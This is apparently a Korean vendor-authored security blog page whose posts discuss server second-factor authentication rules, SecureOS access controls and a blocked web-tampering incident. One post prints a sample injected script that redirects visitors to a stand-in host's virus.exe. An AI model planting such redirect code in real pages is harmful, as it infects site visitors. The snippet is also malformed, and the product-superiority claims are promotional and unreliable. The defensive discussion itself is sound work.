태터데스크 관리자

도움말
닫기
적용하기   첫페이지 만들기

태터데스크 메시지

저장하였습니다.

서버보안 (22)



금융기관의 내부시스템 접근권한을 갖고 있는 사용자들에 의한 개인정보유출사고가 빈번하게 발생하자 금융기관 내부망에 위치한 서버 접근통제를 위한 추가적인 보호 대책이 2014년에 제시됐다. 네트워크, 개인 업무용 컴퓨터의 보안을 강화하고 또 강화했지만 서버에 접근권한을 부여받은 관리자, 개발자, 외부 인력에 의한 개인정보 유출사고가 빈번하게 발생하자 서버 접속 시 강화된 보안 대책의 필요성을 느꼈기 때문이다. 항상 그렇듯 소 잃고 외양간 고치기 식의 보안 강화이긴 하지만 뒤늦게 라도 서버에 에 대한 강화된 접근통제 필요성을 인지했다는 사실 자체만으로도 의미가 있다.


아마도 "서버"에 대한 지식이 많이 부족한 정책 입안자들의 입장에선 그나마 눈에 잘 띄고 사고가 빈번한 네트워크와 데스크탑 컴퓨터의 보안을 우선시할 수 밖에 없었을 것이고 금융시스템의 개발자나 운영자 입장에선 스스로의 발목(?)을 잡는 서버에 대한 보안 이슈는 쉽게 제기하지 않을 수 밖에 없었기 때문에 정작 금융기관의 중요한 정보자산을 실질적으로 저장하고 있는 서버에 대한 접근통제는 뒷전이었던 것이 사실이다.


그렇기 때문에 금융사의 고객정보와 금융 및 거래 정보가 저장되고 유지되는 핵심 자원인 "서버"의 보안을 강화하여야 한다는 이슈는 언젠가는 터져나올 당연한 이슈였다고 할 수 있다.


금융감독원 전자금융감독규정 2013년 12월 개정안 내용


일단 2013년 12월에 발표된 금융감독원의 전자금융감독규정을 보면.. 제14조에 다음과 같은 내용이 추가되어 있다.


제14조(정보처리시스템 보호대책) 금융회사 또는 전자금융업자는 정보처리시스템의 안전한 운영을 위하여 다음 각 호를 포함한 보호대책을 수립·운용하여야 한다. <개정 2013.12.3>


-- 중략 --


  9. 정보처리시스템의 운영체제(Operating System) 계정으로 로그인(Log in)할 경우 계정 및 비밀번호 이외에 별도의 추가인증 절차를 의무적으로 시행할 것 <신설 2013.12.3>


  10. 정보처리시스템 운영체제(Operating System) 계정에 대한 사용권한, 접근 기록, 작업 내역 등에 대한 상시 모니터링체계를 수립하고, 이상 징후 발생 시 필요한 통제 조치를 즉시 시행할 것 <신설 2013.12.3>


위의 제14조 9항과 10항은 서버에 애플리케이션을 통한 간접적인 접근이 아닌 개발자, 시스템운영자, DBA 등 내부자가 Telnet, FTP, SSH 등의 방법을 통해 운영체제의 계정인 root, oracle, jeus 등 시스템관리자 계정 및 개인 계정으로의 접속 시 OTP, ARS, PKI 등의 추가적인 인증 수단을 마련하도록 의무화한 것이라 볼 수 있다.


이러한 조치는 외부 인력 및 내부 인력의 무분별한 서버 직접 접속을 제한하고 접속할 때 실제 접속자가 누구인지를 인증하고 식별함으로써 내부자에 의한 보안사고 발생 시 감사 추적을 용이하게 하고 사고 발생 시점에 서버에 접속한 사용자(개발자, 운영자, 외부 인력 등)가 누구인지를 확인하여 책임추적성을 확보할 수 있게 하기 위함이다.


또한 더 나아가 서버 접속 시 식별한 실제사용자(실명) 정보를 바탕으로 명령어 및 중요 데이터 파일에 대한 실사용자 접근 감사기록을 유지하여 개인정보 및 중요 정보의 유출을 탐지할 수 있게 하기 위함이다. 


물론... 실사용자 기반의 파일 접근 통제를 수행함으로써 개인정보 및 데이터베이스 파일의 유출을 차단할 수도 있다.


서버 Telnet, FTP, SSH 접속 시 2차 인증 구현 방안


서버 운영체제의 계정 접속에 대한 2차 인증 구현을 위해서는 서버 운영체제의 기능만으로는 불가능하다. 이는 운영체제의 인증과정에 추가적인 인증모듈을 강제로 삽입함으로써 구현하여야 하는데 이는 운영체제에 대한 심오한 이해가 있어야 가능한 기술이다.


이러한 기술은 이미 RedCastle 등 SecureOS(시큐어 오에스) 솔루션에 오래전부터 구현되어 있다. SecureOS는 기본적으로 서버에 Telnet, FTP, SSH, rlogin 등의 접속 시 IP, MAC주소, 시간, 서버계정, 서비스 종류에 대한 조합을 통해 추가적인 접속 통제를 하도록 기능이 구현되어 있으며 이 기술은 네트워크 기반의 게이트웨이 방식 서버 접근 제어 솔루션의 기능과는 차별적이리 만큼 뛰어난 접근통제 기술이다.


RedCastle SecureOS를 예로 들면 PKI, OTP, ARS를 통한 2차 인증은 RedCastle SecureOS와 AuthCastle 이라는 2차 인증 솔루션의 연동을 통해 구현된다.


개념도를 그려본다면 다음과 같다.



사용자는 Telnet, FTP, SSH 클라이언트를 통해 평소와 다름없이 접속을 시도하게 되며 1차로 서버 운영제에 접속 시 1차적으로 운영체제의 ID와 Password를 이용한 인증을 하게 된다. 이따금씩 보안솔루션 벤더에서 제공하는 커스터마이징된 "전용 Telnet, SSH 클라이언트"를 사용하도록 하는 솔루션들이 있지만 업무의 편의와 보안성, 안정성, 성능측면에서 볼 때 범용 도구들을 사용할 수 있도록 지원하는 제품을 선택하는 것이 좋겠다. 


서버 운영체제에서 1차적으로 ID와 Password 인증을 마치면 RedCastle의 설치 시 함께 설치된 PAM(Unix 및 리눅스) 혹은 CP(Windows) 모듈에서 추가적으로 OTP, 인증서, ARS 등의 인증을 수행하는 2차 인증과정을 수행하게 된다. 이 때 서버 운영체제의 접속 로그에 더해 실제 운영체제 계정으로 접속한 사용자가 누구인지 사번, 실명 등 실제 접속자의 자연인 정보를 기록할 수 있다. 


게다가 전산실 내부에서 서버의 콘솔장비 혹은 네트워크 장비에 직접 노트북 등의 단말기를 접속한 뒤 서버에 접속하는 경우에도 2차 인증을 강제화할 수 있다.


만약 금융감독규정 14조 9항의 "운영체제 계정으로 서버 접속 시 2차 인증"을 이미 수행하고 있다면 몇몇 솔루션들이 지원하는 실제 접속하는 서버 앞에 게이트웨이 형태의 장비를 두고 해당 장비에 접속할 때 2차 인증을 수행하는 "무늬만 2차 인증"은 아닌지 짚어볼 필요가 있다. IT 직종의 내부 임직원들이라면 게이트웨이를 우회하거나 전산실에 직접 들어가 별도의 장비에서 서버에 직접 접속할 수 있는 취약점을 간파하고 있을 가능성이 매우 높기 때문이다.


실제로 서버의 접속로그를 조회하면 게이트웨이 장비 이외의 IP에서 접속한 흔적이 다수 발견할 수 있는 경우가 많아 보안 담당자들이 당황하는 경우를 종종 볼 수 있다.


그리고 로그인 과정에서 패스워드를 자동으로 입력해주는 경우가 많은데.. 이는 분명 비밀번호에 대한 법적인 요구사항을 심각하게 위배하고 있을 가능성이 높다는 것을 간과해서는 안된다. "패스워드는 복호화가 불가능하도록 단방향 암호화 되어야 한다"는 개인정보보호법을 위반하는 것이며 모든 서버의 ID, Password를 복호화가 가능한 형태로 하나의 DB에 저장하는 것은 오히려 위험을 키우는 상황이 될 수도 있기 때문이다.


이러한 형태의 무늬만 서버 접속 시 2차 인증은 법적으로나 기술적으로 취약점이 많아 문제가 될 가능성이 매우 높다고 볼 수 있다. 그리고 게이트웨이 접속 시 2차 인증이 과연 "운영체제 계정으로 접속 시 2차 인증"을 시행하는 것으로 인정할 수 있는가에 대한 이슈가 언젠가 또 불거질 가능성이 높기 때문이다.


어쨌든 금융기관의 경우 전자금융감독규정의 강제 규정으로 인해 서버 운영체제 계정으로 접속 시 2차 인증을 구현한 사례가 매우 많다. 하지만 아직도 일부 기관에서는 서버 앞단에 위치한 게이트웨이에서 2차 인증을 수행하고 실제 서버에 접속할 때는 ID와 비밀번호 인증만 수행하는 경우가 많다. 심지어 누군가 입사하게 되면 서버 접속을 위한 게이트웨이에 인사시스템과 연동하여 무조건 계정이 생성되고 부서 혹은 업무에 따라 접근 권한을 신청할 경우 접속할 서버의 목록을 보여주고 있어 서버에 접근하는 업무를 하지 않는 임직원이 서버 접근을 위한 게이트웨이 장비에 계정을 갖고 있는 경우가 많다.


이런 경우 게이트웨이 서버에서 취약점이 발견되고 해당 취약점을 악용한다면 비인가자에게 서버 목록이 보이고 원치않게 서버에 접속이 가능해지는 잠재적인 위험이 있다.



  • 지후대디 2014.07.21 07:29 신고

    과거와 달리 요즘은 서버에 접속하려면 통합 접속 통제를
    거치고 개인id 패스워드로 접속해서 처리해야 하거나 otp를 받아야 하거나
    하는등 늘상 서버에 접속하는 일을 하는지라 상당히 불편해진 부분이 많습니다.
    보안을 지키는건 원래 불편한것인가 봅니다 ^^

    • taeho Tae-Ho 2014.07.21 08:02 신고

      보안이 강화되면 "불편함"은 증가하죠~ 뭐라도 한가지 액션을 더 취해야 하니까요.. ^^ 하지만 생각해보면 컴퓨터 보안이든 실생활이나 직장에서든 "안전" 이라는 것을 지키기 위해서는 "불편함"이 따르게 마련이지요~ ^^



ISMS나 ISO27001 심사와 관련된 업무를 수행하다 보면 서버를 들여다 봐야 하는 일이 종종 발생한다. 솔직히 서버를 들여다 보는 일은 개인적으로 즐겁기도 하지만 안타까움을 느끼게 될 때가 더 많다. 왜냐하면 서버 내의 보안 수준이 생각보다 높지 않기 때문이다. 

이는 서버를 운영하는 운영자 혹은 관리자들이 서버 운영체제와 서버에서 구동되는 DBMS나 WAS 등 SW의 관계, 권한 설정등에 대한 이해수준이 높지 않기 때문이거나 이해수준은 높더라도 보안과 연관지어 어떤 위협이 존재하는지 알지 못하는 경우가 많기 때문이다.

그렇다보니 서버 운영체제에 대한 취약점 점검이 단순한 체크리스트(그마저도 제대로 적용하지 못한다) 방식으로 진행되고 ISO나 ISMS 인증심사 때도 그 체크리스트 중에서 몇개를 샘플로 선정해 점검하는 수준을 벗어나지 못하는 경우가 많다.

예를 들어.... 

"공개서버인 웹서버에서 Zeroday 취약점이 발견되어 해커가 이를 악용하였고 결국 웹서버가 실행중인 계정의 권한이 탈취되었을 경우 어떤 위협이 발생할 수 있으며 이에 대비하여 어떤 보호대책을 적용해야 하는가?"

라는 질문을 던졌을 때 ... 제대로 답변할 수 있는 보안담당자나 컨설턴트가 몇이나 되겠는가?

솔직하게 이야기해서 서버보안시스템 구축과 정책수립 등의 업무를 오랫동한 했기에 이에 대해 답변할 수 있지 그렇지 않았다면 아마도 나 또한 제대로 답변할 수 없을 것이다.

Secure OS(RedCastle)를 이용한 공개 서버 보안 강화

많은 기업들은 공개서버의 앞에 방화벽이나 IPS, 웹방화벽과 같은 네트워크 기반의 보안 솔루션을 도입하여 인터넷을 통해 시도되는 공격으로부터 공개서버들을 보호하고 있다. 

바로 홈페이지가 구동중인 웹 서버와 메일서버 등이 대표적이다. 그리고 웹서버나 메일서버는 아니지만 기업들 B2B 구간에도 인터넷에 공개할 수 밖에 없는 서버가 존재한다. 그리고 이렇게 인터넷에 공개되는 서비스들은 대부분 HTTP 혹은 FTP 등을 통해 연결되는 경우가 많다. 다른 서비스는 모두 차단되어 있지만 웹서비스를 수행하는 TCP/80과 TCP/21 등은 기업으로서도 어쩔 수 없는 아킬레스건과 같은 존재다.

해커들은 이렇게 인터넷에 열려 있는 웹서버, FTP서버 등을 그대로 내버려두지 않으며 인터넷을 통해 서버로 침투하는 경로로 이용된다.

이런 웹서버, 메일서버, FTP서버 등의 공개서버에서는 Apache, Tomcat, Weblogic, Webtob, Jeus 등 수많은 웹/FTP 서비스 관련 응용프로그램들이 설치되고 실행된다. 이러한 응용프로그램들은 인터넷을 통해 수많은 사용자의 PC와 통신을 하고 있고 인터넷 어디서든 개방되어 있는 서비스 포트를 통해 서버와 연결할 수 있기 때문에 해커들은 이런 서비스 대몬의 취약점 혹은 웹 서버에서 실행되는 PHP, JSP, Servlet 등의 취약점을 찾기 위해 혈안이 되어 있다. 

해커들이 웹서버를 공격하기 위해 사용하는 대표적인 취약성으로 OWASP 10대 취약점을 이야기하곤 한다. OWASP는 Open Web Application Security Project의 약자로서 이 프로젝트에서는 매년 10대 웹 취약점을 발표하고 있다. 여기에서 발표된 대부분의 취약점은 웹 응용프로그램 즉 PHP, JSP, ASP, Servlet 등을 개발할 때 프로그램 소스 수준에서 발생할 수 있는 취약점들을 담고 있으며 취약점이 포함된 웹 응용프로그램을 구동할 경우 홈페이지 위/변조 및 악성코드 삽입 더 나아가 웹 응용프로그램의 관리자 권한 및 운영체제의 계정 탈취 혹은 운영체제의 관리자 권한 탈취까지도 이루어질 수 있게 된다. 게다가 서버SW가 자체적으로 갖고 있는 취약점도 종종 발견되곤 한다.

여기서 중요한 것은 외부에 서비스를 제공하는 웹서버와 같은 어플리케이션SW와 운영체제의 격리다. 최근 어플리케이션의 관리를 편하게 하고 개발과 유지보수 관리의 부담을 줄이기 위해 어플리케이션 가상화인 도커(Docker)가 인기를 끌고 있다. 도커 또한 운영체제와 어플리케이션을 격리하는 솔루션의 한 종류이기 때문에 보안관점에서 효과를 볼 수도 있지만 근본적인 해결책은 될 수 없다. 

그렇다면 서버 운영체제와 서버에서 실행되는 어플리케이션의 격리를 위해 적용할 수 있는 보안솔루션은 무엇이 있을까?

이런 보안솔루션에 가장 근접하고 있는 보안솔루션이 바로 SecureOS다.

웹서버(IIS) 소스파일 변조 공격 방어 사례웹서버(IIS) 소스파일 변조 공격 방어 사례


특히 다음과 같은 부분에서는 다른 어떤 보안 솔루션도 따라오지 못할 만큼의 강력한 보안기능을 제공할 수 있다. 

1. PHP, JSP, JS, ASP, HTML, Servlet 등 웹 응용프로그램의 위/변조 혹은 공격을 위한 소스 및 파일 업로드 차단

2. 웹 기반 어플리케이션 대몬 (httpd, java 등)의 취약성을 이용한 운영체제의 명령어 실행 차단 및 중요 파일에 대한 접근 차단

3. 기타 어플리케이션의 취약점을 이용한 운영체제의 명령어 실행 및 파일 접근 차단

4. 업로드 취약성을 이용해 공격도구를 업로드 하고 실행시키는 공격의 차단.

5. 임시 디렉토리의 접근 권한이 있음을 이용해 공격 경유지로 이용하는 행위의 차단.

6. 서버의 일반 계정 권한을 탈취하여 수퍼유저 권한을 탈취하려는 시도의 차단.

7. 서버의 계정 권한을 탈취하여 인접한 타 서버로의 접근을 시도하는 행위의 차단. 

이러한 보안 기능을 제공할 수 있는 이유는 Secure OS가 커널수준에서 다음의 기능을 수행할 수 있기 때문이다. 

1. 웹 서버 대몬 혹은 어플리케이션 서버가 구동중인 계정에서 소스파일 혹은 설정파일에 대해 특정 프로그램 이외에는 쓰기(Write, Create, Delete, Modify)를 하지 못하도록 할 수 있다.

2. 웹 서버 대몬(httpd, java 등)이 운영체제의 주요 명령어를 실행(Excute System Call)하지 못하도록 할 수 있다.

3. root 계정에서 웹 소스파일에 접근하지 못하도록 할 수 있다.

4. 업로드 경로 및 웹 소스의 경로에서 파일의 실행을 차단할 수 있다.

5. 웹 서버 대몬 혹은 웹 서버가 구동중인 계정에서 운영체제의 임시디렉토리에 접근하는 것을 차단할 수 있다.

6. 일반계정에서 root 계정으로의 이동을 원천적으로 차단할 수 있으며 백도어의 실행도 원천적으로 차단할 수 있다.

7. SETUID/SETGID가 설정된 파일의 변조를 실시간으로 탐지하여 실행을 차단하며 새로운 파일이 생성될 경우 또한 실행을 차단할 수 있다.

Secure OS는 MAC(강제적 접근제어)와 DAC(임의적 접근제어) 보안 모델을 적절하게 적용함으로서 위의 기능들을 제공한다.  또한 웹 서버 뿐만 아니라 모든 서버의 내부에서 일어나는 행위에 대한 통제를 적절하게 수행할 수 있다. 

SecureOS는 서버를 보호하기 위한 보안의 최종 수비수다.



  • 2019.08.27 09:57

    비밀댓글입니다


최근 웹서버의 소스 변조 공격이 또 다시 붐~처럼 휘몰아 치고 있는 듯 하다. 


얼마 전 지속적인 웹 소스파일 변조 공격을 받고 있어 몇 주 째 사투(?)를 벌이고 있던 한 웹사이트 운영 업체의 요청으로 RedCastle SecureOS를 설치하고 해커와 한판 전쟁을 치르게 되었다. 이 해커는 다른 일반적인 소스 변조를 시도하는 사례와는 달리 한 두 가지의 공격을 차단되어도 포기하지 않고  계속 새로운 공격을 시도하고 있었다.


대부분의 경우는 웹 소스의 변조 시도가 차단되면 포기(?)하고 물러나는 것이 일반적인데 이 해커는 집요하게 새로운 공격을 감행하여 차단을 우회하려 시도하거나 운영체제의 파일들을 변조하려 하는 등 포기하지 않는 끈질김을 보여주었다.


2014년 11월의 어느 날...


급박한 요청을 받고 RedCastle을 설치한 뒤 Baseline Policy와 변조되는 소스파일에 대한 보호 정책을 적용하니 곧바로 다음과 같은 공격이 들어오는 것을 확인할 수 있었고 웹 소스파일 위변조 차단 정책에 의해 변조 공격은 차단되었다.



RedCastle을 설치하고 변조가 발생하는 경로의 파일들에 대해 위변조 차단정책과 웹서버 대몬의 운영체제 명령어 접근을 차단하는 정책을 적용하자 wscript.exe 프로세스가 cmd.exe를 실행하고 cmd.exe가 웹 소스파일을 변조하는 것을 알 수 있었다. 당연히 이 공격은 1차로 적용한 웹 소스파일 변조 차단 정책에 의해 차단되었다.



이후에도 위 감사로그 처럼 cmd.exe를 통해 계속 웹 소스파일 경로의 특정 파일을 변조하려 시도하고 있었다. 시도가 차단되니 1초에도 수십번씩 반복적으로 변조를 시도하고 있었다.


이러한 공격은 매우 흔한 경우로서 해커가 웹쉘을 업로드하는데 성공했거나 웹쉘처럼 운영체제의 명령어를 웹 인젝션 취약점을 통해 실행하여 관리자 권한을 탈취하는데 성공했다는 것을 의미한다.


그 후 보호정책이 걸려있지 않은 경로를 통해 우회 변조 및 새로운 파일들에 대한 변조가 발생하여 계속 보안 정책을 강화해야 했고 계속 소스 변조에 실패한 해커는 만 이틀이 안되어 사용자들에게 다운로드 되는 일부 프로그램을 변조하려 하는 새로운 시도가 있었다. 예전의 웹하드 업체의 다운로드 전용 프로그램을 변조하는 것과 같은 공격을 시도한 것이다.




위 화면은 뷰어 프로그램으로 보이는 접속자의 PC에 다운로드 되는 프로그램파일을 웹서버를 통해 변조하려 한 시도다. 주체 프로세스가 w3wp.exe (IIS 웹서비스 대몬)이고 변조 대상이 되는 객체 파일이 xlviewer.exe 라는 것을 알 수 있다.


해커는 이쯤에서 서버에 보호대책이 구현되어 있다는 것을 눈치 챘던 것으로 보인다. RedCastle의 파일들을 변조하고 매니저와 통신을 수행하는 프로세스를 강제로 종료시키기도 했다. 일반적으로 RedCastle의 존재를 알아차리는 해커는 없었다. 그런데 이번 해커는 조금 달랐다. 만만치 않은 친구(?)라는 것을 알 수 있었고 즉각적으로 RedCastle을 재설치하고 자체 보호 정책을 활성화 시켰다. 이후에도 RedCastle을 무력화 시키려 시도하였으나 차단되자 아래 처럼 다시 웹 소스파일과 설정파일을 변조하려 시도한다. 하지만 보호정책이 적용되어 있는 경로의 소스파일은 일반적인 방법으로는 수정이 불가능하다.



주체 프로세스는 역시 w3wp.exe 고 변조 대상 파일은 Web.config 파일이다. 이전엔 wscript.exe와 cmd.exe를 통해 변조를 시도했지만 실패하자 조금 다른 패턴을 통해 변조를 시도하였고 이 변조 공격 또한 차단되었다. 


웹 서버 소스에 대한 변조가 완벽하게 차단되자 해커는 다음 날 새로운 무기를 들고 나왔다. 다른 백도어와 악성코드 파일을 서버에 업로드하고 실행시키려 시도한 것이다.



iis6.txt 가 cmd.exe를 실행하려 시도하는데 경로가 RECYCLER 이다. 바로 휴지통이다. 휴지통은 일반적으로 악성코드에 감염될 것이라고는 잘 생각하지 않는다. 하지만 해커들은 사람들이 잘 들여다 보지 않는 곳에 악성코드를 업로드하고 실행시키는 경우가 종종 있다. 아래 화면처럼 말이다. 휴지통에 선명하게 보이는 c.exe 파일. 바로 악성코드다.



다음과 같이 반복적으로 계속 실행을 시도한다.















c.exe 말고도 주체로 보이는 iis6.txt 가 cmd.exe를 실행시키는 것 뿐만아니라 c.exe 자체가 운영체제의 net.exe 명령을 실행하기도 한다. net.exe는 해커들이 시스템의 관리자 권한을 획득할 경우 즐겨 사용하는 명령 중 하나다.



휴지통에 업로드하고 위 화면에서와 같이 실행을 시도한 파일들..



앞에서 봤던 iis6.txt 파일도 보인다.


Virustotal 사이트에서 확인하자 c.exe가 악성코드로 탐지된다. 안타깝게도 ALYac 에서는 아직 악성코드로 탐지해 내지 못한다. 블랙리스트 방식의 보안 솔루션의 한계를 여실히 보여주는 대목이다.



이후에도 해커는 지속적으로 공격을 시도한다.



이젠 C:\Temp 폴더에도 c.gif 라는 파일을 업로드한 뒤 find.exe 명령을 실행한다. 그외에도 다양한 방법으로 cmd.exe를 실행하려 하거나 csc와 같은 컴파일러를 실행하려 하기도 한다. 당연히 이러한 Violation 로그를 발생시키며 차단된다.


이후에도 해커는 미련을 버리지 못하고 간간히 웹 소스의 변조를 시도한다. 웹의 취약점을 이용해 Web.config 파일을 계속 수정하려 시도한다. 하지만 변조는 RedCastle에 의해 차단되고 아래 처럼 감사로그가 기록된다.



해커는 이제 마지막으로 새로운 공격을 감행한다. 앞의 포스트에 올린 sethc.exe 취약점을 공격한 것이다. sethc.exe를 변조하고 sethc.exe를 통해 다른 파일을 실행하거나 파일을 수정/삭제하려 시도하였다.





이쯤에서 해커는 더 이상의 해킹이 어렵다고 판단했는지 더 이상의 공격을 하지는 않고 있다.


하지만 아쉬운 점은 많은 공격 사례가 그렇듯 해커가 어떻게 침투했는지 그 경로를 파악하지 못했다는 점이다. 워낙 소스파일 경로가 복잡하고 수 많은 파일들이 존재하긴 했지만 해당 웹사이트 운영자와 개발자는 해커가 어떤 취약점을 통해 침투했는지를 파악할 엄두를 내지 못하고 있었다. (사실 가장 중요한 것이 악용된 취약점을 찾는 것인데...)


자세한 결과는 알지 못하지만 다른 웹 쉘 탐지 솔루션과 보안 컨설팅 업체에 분석을 요구했으나 해커가 설치한 일부 변조된 운영체제의 백도어 파일(앞의 sethc.exe와 같은)을 찾아낸 것과 웹쉘로 의심(?)되는 파일을 찾아 지운 것 이외에는 만족할 만한 성과를 거두지는 못한 듯 하다. 


이렇게 해커가 공격에 활용하는 취약점을 찾아 수정하지 못한 채 취약점을 통한 다양한 공격을 실질적으로 방어할 수 있는 보안 솔루션은 RedCastle SecureOS 이외에는 없다. 취약점을 찾는 동안 쉼없이 변조되는 소스파일들을 변조될 때 마다 알럿을 발생시켜 복구하는 수동적인 방식으로는 대응이 불가능하다. 일단 RedCastle SecureOS로 변조를 최후단에서 차단하면서 취약점을 찾는 과정을 거치는 것이 정답이라 할 수 있겠다.


그나마 취약점을 찾지 못해 웹 소스파일 변조 공격과 공격도구의 업로드 및 실행이 지속되는 동안 RedCastle을 통해 방어할 수 있었고 그로 인해 해커가 공격을 멈춘 것에 만족해야 했다. 결국 그 고객사는 RedCastle을 도입했고 현재 스스로 운용 중이다. 이따금씩 정책 관련 문의가 오고는 있으나 현재는 공격이 들어오지는 않고 있는 듯 하다. 


하지만 공격이 들어오더라도 실시간으로 차단하고 감사로그를 실시간으로 보여주기에 예전 처럼 무방비 상태로 공격을 당하고만 있지는 않을 것이다.






  • 지후대디 2014.12.21 23:39 신고

    해커의 끈기가 놀랍군요 꼭 뚫고 싶은 동기라도 있었나 봅니다 흥미진진하게 보고 갑니다 ^^

    • taeho Tae-Ho 2014.12.22 13:20 신고

      저도 뭔가 이해관계가 있는 사람과 연관이 있는게 아닐까 하는 생각을 안할래야 안 할 수가 없었습니다.

  • 에스델 ♥ 2014.12.22 13:18 신고

    휴지통에서 악성코드를 실행하다니~
    놀랍습니다.

    • taeho Tae-Ho 2014.12.22 13:21 신고

      선구자적 해커들은 상식을 깨는 사고를 많이 합니다. 당연히 다른 해커들은 그것을 따라하고요.. ^^

  • 오이란 2014.12.22 16:28 신고

    좋은 포스팅 너무나도 잘 보고 갑니다!
    포스팅 잘 봤네요. 즐거운 하루 되시길!!

  • RCE_Mania 2014.12.23 09:49 신고

    잘보고 갑니다!

  • 쭈니러스 2014.12.25 19:40 신고

    엄청나군요... 이것도 능력이겠죠ㅎㅎ


최근 "302 리다이렉션 공격"이라는 해킹이 유행하고 있는 듯 합니다. 마치 새로운 대단한 공격 기법인 것처럼 호들갑을 떨지만 이것은 새로운 공격 기법은 아닙니다. 홈페이지를 변조하거나 웹 브라우저가 요청한 웹페이지에 대해 특정 자바스크립트 코드를 삽입하여 클라이언트 PC의 웹 브라우저가 악성코드를 다운로드 받게 하는 하는 수많은 공격 기법과 전혀 다를 바가 없는 일반적인..흔하디 흔한 공격 기법 입니다.


다만 302 리다이렉션은 수많은 네트워크 보안솔루션들을 우회하기 위해 등장한 변종 기법이라는 점입니다. 홈페이지의 소스파일의 위/변조를 원천적으로 차단하면 보다 강력한 보안이 이루어질 텐데 네트워크 수준에서...또는 웹 서버의 설정을 변경하여 외부URL을 포함하거나 외부 서버에 있는 파일의 다운로드 링크의 동작을 차단하다 보니 해커들이 이젠 아예 접속한 클라이언트 PC의 브라우저를 다른 웹페이지로 완전히 전환(리다이렉션 : Redirection) 시켜버리기 시작한 것입니다.


이전과 같이 클라이언트 PC를 악성코드에 감염시키기 위한 공격의 과정에서 웹서버의 소스파일을 변조하는 공격이 선행된다는 점에는 변함이 없습니다. 즉, 웹 소스 파일의 위/변조를 원천적으로 차단하지 않는 한 이러한 변형 공격 기법은 지속적으로 등장할 것입니다. (당연히 기본적으로 시큐어 코딩은 적용되어야 합니다.)


원리는 다음과 같습니다.


302 Redirection Attack302 Redirection Attack


HTTP 프로토콜에서 지원하고 있는 응답코드 302가 브라우저의 주소를 다른 주소로 Redirect 하게 되는데 이 원리를 이용하여 악성코드를 다운로드 받는 URL로 강제로 전환 시켜 버리는 기법이 바로 302 리다이렉션 공격 입니다.


이 302 리다이렉션이 특별히 위험한 이유는 파밍 공격처럼 사용자가 자신이 실행하고 접속한 사이트를 보여주는 웹 브라우저가 다른 곳으로 전환(리다이렉션)되었다는 것을 전혀 인지하지 못할 수 있기 때문입니다. 이는 해커가 사용자가 접속한 웹페이지에 다음과 유사한 형태의 리다이렉션 코드(java script 혹은 meta 태그)를 추가(변조)하였기 때문입니다.


<script language=JavaScript>

Location.href = http://cdn.hack.com/virus.exe;

</script>


위에서 Location.href 를 지정하는 부분이 바로 302 리다이렉션을 유도하는 부분입니다. 해커가 원본 웹페이지 소스에 추가한 짧은 3줄의 Java Script 코드는 웹페이지에 숨어있다가 웹페이지에 접속한 사용자의 웹브라우저로 전달되고 웹 브라우저는 위의 Location.href 를 만나는 순간..... 사용자에게 "묻지도 따지지도 않고" 브라우저를 지정된 웹페이지로 이동(리다이렉션)시켜 버립니다.때문에 사용자는 그 사실을 모를 가능성이 높습니다.


이러한 302 리다이렉션을 사용자의 웹브라우저에서 막을 수 있는 방법은 현재로서는 없습니다. 가장 좋은 방법이 웹서버의 소스파일 위변조를 차단하는 것이며 웹 소스 변조를 통해 시도하는 302 리다이렉션과 다른 공격들을 원천적으로 방어할 수 있습니다. 그리고 시큐어코딩을 통해 웹페이지 소스 수준에서의 취약성을 제거한다면 대부분의 웹서버는 해킹으로부터 안전할 수 있습니다. 물론 DDOS와 같은 서비스 거부 공격은 예외겠지만 말입니다.


관련된 글 보기

웹서버 소스 위변조 방어를 위한 SecureOS 적용에 대한 포스트 보기




  • 쭈니러스 2014.09.04 22:54 신고

    잘 보고 갑니다~ 어려운 용어들이네요ㅎㅎㅎ


수년 전 발생했던 농협 전산망 해킹사고와 320사태 그리고 신용카드 3사의 엄청난 개인정보 유출사고에서 가장 핵심적인 취약성은 바로 "서버내부의 명령어에 대한 실행 통제 불가" "서버에 Telnet, SSH 접속 시 2차 인증 부재"다.


사실 서버가 해킹당하는 경우 위의 두가지 이슈가 가장 핵심적인 보안 취약성임에도 최근까지는 대부분 네트워크 수준에서 침투를 막지 못했다는 결과로 귀결시켜 조직 내부의 서버에 대한 보안이슈가 발생하는 것을 피해갔던 것이 사실이다.


하지만 2013년 금융감독원의 금융감독규정이 개정되면서 서버에 대한 접속 시 2차 인증 의무화와 서버 내에서의 위법행동 발생 시 즉각적인 조치가 가능한 수단 강구라는 항목이 추가되었다.


금융감독원-IT금융감독규정제14조금융감독원-IT금융감독규정제14조

[금융감독원 금융감독규정 제14조 9항과 10항]


이에 따라 금융기관들의 움직임이 바빠지고 있는 듯 하다. 지금까지는 시스템관리자들의 고유 권한으로써 장애발생 가능성을 이유로 신성불가침???의 영역처럼 여겨져 명령어의 사용에 대해 제약을 두지 않았으나 대형 보안사고의 주요 취약성으로  "서버내에 접속한 사용자/개발자/관리자/엔지니어에 대한 명령어 실행 통제 미흡"이 언급되기 시작하였고 결국 금융감독지침에 구체적으로 명령어 사용에 대한 통제 항목이 포함되었다.


서버내의 명령어 실행 통제를 위한 세가지 기술 동향


서버 내에서의 명령어 실행...더 나아가 서버 내의 중요 파일에 대한 읽기/수정/삭제 등을 통제하기 위한 다양한 기법의 솔루션이 이미 존재하고 있다. 그리고 이러한 명령어 실행을 통제할 수 있는 솔루션 들은 크게 3가지 정도의 제품군으로 분류될 수 있다.


1. 게이트웨이 방식의 서버접근제어(SAC) 기법


이 방식은 서버에 접근하는 모든 사용자가 프락시형태의 게이트웨이 장비를 통해 Telnet/SSH 접속을 하게 되고 게이트웨이 장비에서 서버로 전달되는 명령어를 분석하여 통제하는 방식이다. 

하지만 이 방식은 우회접속이나 서버와 서버간의 직접 접속 등을 통제하지 못하기 때문에 사실 거론의 대상이 되어서는 안되는 방식이다. 흔히 서버에 별도의 통제 SW를 설치하지 않아도 되고 장비하나만 도입하면 되기 때문에 수년전까지 선호되던 방식이나 최근 여러 감독기관의 보안감사에서 우회접속과 콘솔을 통한 직접접속에 대한 통제가 불가능한 사실이 알려지면서 명령어 통제기술로는 부적합하다는 것이 일반적인 평가다.


많은 SAC 솔루션 개발사에서 다양한 방법을 통해 이러한 단점을 극복하려 노력하고 있으나 워낙 해결하기 어려운 기술적문제가 많아 단시간내에 제대로 된 명령어 통제 기능을 수행할 것으로 기대하긴 어렵다.


2. TTY 복제 및 쉘(Shell : ksh, csh 등) 교체 방식의 명령어 통제 기술


